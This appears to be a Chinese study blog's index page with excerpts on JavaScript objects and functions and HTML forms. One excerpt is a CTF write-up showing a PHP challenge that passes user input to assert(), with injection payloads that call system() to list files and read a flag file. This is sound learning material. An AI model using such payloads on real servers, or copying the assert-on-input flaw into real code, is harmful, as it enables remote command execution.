PHP基础(1)
# 置顶图标
JavaScript深入了解
# 置顶图标
JavaScript拓展(3)
# 置顶图标
JavaScript拓展(2)
# 置顶图标
信安CTF总结
发表于
更新于
阅读次数:
本文字数:
384
阅读时长 ≈
1 分钟
# 置顶图标
404页面:
url+404/
命令执行:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if($_GET['c'] === "flag"){ 如果 c=flag 的话,会看到 flag.php 文件
highlight_file("flag.php");
}
if(!preg_match("/flag/i", $c)){ 正则匹配过滤 flag 字符
$page = $_GET['c'];
}
assert("file_exists('$page')"); assert 函数
}else{
highlight_file(__FILE__);
}
?>
利用assert函数的特性,实现命令执行
assert函数里面的参数为字符串时,会将字符串当做php命令来执行。
assert('phpinfo()')=<?php phpinfo()?>
构造闭合函数,使 assert 函数执行系统命令
为还过滤了 flag 字符,使用?匹配符绕过
Payload:
?c=1') or system('ls
?c=1') or system('cat fla?.txt
反序列化
JavaScript拓展(1)
# 置顶图标
每日一记
注:本章节较难,请选择性阅读
对象
使用{…}来创建对象。一个属性就是一个键值对(“key: value”),其中键是一个字符串(也叫做属性名),值可以是任何值。
构造对象方法:
let user = new Object(); // “构造函数” 的语法
let user = {}; // “字面量” 的语法
读取文件的属性:
alert( user.name ); // John
alert( user.age ); // 30
移除属性:
delete user.age; // 移除age这个key
方括号:
let user = {};
// 设置
user["likes birds"] = true; // 单引号或双引号都可以
// 读取
alert(user["likes birds"]); // true
// 删除
delete user["likes birds"];
属性值简写:
name, 与 name: name 相同
属性名称限制:
类型会被自动地转换为字符串
但__proto__属性。不能将它设置为一个非对象的值
属性存在性测试:
alert( user.noSuchProperty === undefined ); // true 意思是没有这个属性
alert( "age" in user ); // true 存在
JavaScript基础(4)
# 置顶图标
每日一记
函数表达式
let sayHi = function() {
alert( "Hello" );
};
function关键字后面没有函数名。函数表达式允许省略函数名
注意末尾会有个分号!
因为这是以 function(…) {…} 的形式创建的。它不是函数语法的一部分。
含义:"创建一个函数并将其放入变量sayHi中"。
alert( sayHi ); // 显示函数代码————因为函数是一个值
alert( sayHi() ); // 执行函数
let func = sayHi; //将 sayHi 复制到了变量 func
回调函数
function ask(question, yes, no) {
if (confirm(question)) yes()
else no();
}
function showOk() {
alert( "You agreed." );
}
function showCancel() {
alert( "You canceled the execution." );
}
// 用法:函数 showOk 和 showCancel 被作为参数传入到 ask
ask("Do you agree?", showOk, showCancel);
JavaScript基础(3)
# 置顶图标
JavaScript基础(2)
# 置顶图标
JavaScript基础(1)
# 置顶图标
从今天开始学习JavaScript啦!
每日一记
前置知识
1.概念
这种编程语言写出来的程序被称为脚本。它们可以被直接写在网页的 HTML 中,在页面加载的时候自动执行。
脚本被以纯文本的形式提供和执行。它们不需要特殊的准备或编译即可运行。
2.JavaScript 引擎
首先,引擎(如果是浏览器,则引擎被嵌入在其中)读取(“解析”)脚本。
然后,引擎将脚本转化(“编译”)为机器语言。
然后,机器代码快速地执行。
3.作用
JavaScript 可以做与网页操作、用户交互和 Web 服务器相关的所有事情。
4.局限性
(1)网页中的 JavaScript 没有直接访问操作系统的功能。
(2)不同的标签页/窗口之间通常互不通信(“同源策略”)为了解决“同源策略”问题,两个标签页必须<都>包含一些处理这个问题的特定的 JavaScript 代码,并均允许数据交换。
(3)可以轻松地通过互联网与当前页面所在的服务器进行通信
正文
HTML&CSS拓展(6)
# 置顶图标
每日一记
复选框
<input type="radio" name="1" id="man">
<label for="man">男</label>
这里做一个补充:id是为了点击文字也可以选中,不然就只能点击那个圈来选了
回归正轨
1.
type="checkbox"可以多选
2.
type="checkbox" checked="checked"就能变成默认选中
3.
disabled="disabled"或者disabled可以禁用该模块
4.
readonly是只读不能改
下拉菜单
<body>
<select size="3" multiple> #size是一面可显示的选项 multiple是可多选
<option value="a"></option>
<option value="b"></option> #value是提供给后端使用的value值
<option value="c"></option>
<option value="d" selected></option> #selected默认选中
</select>
</body>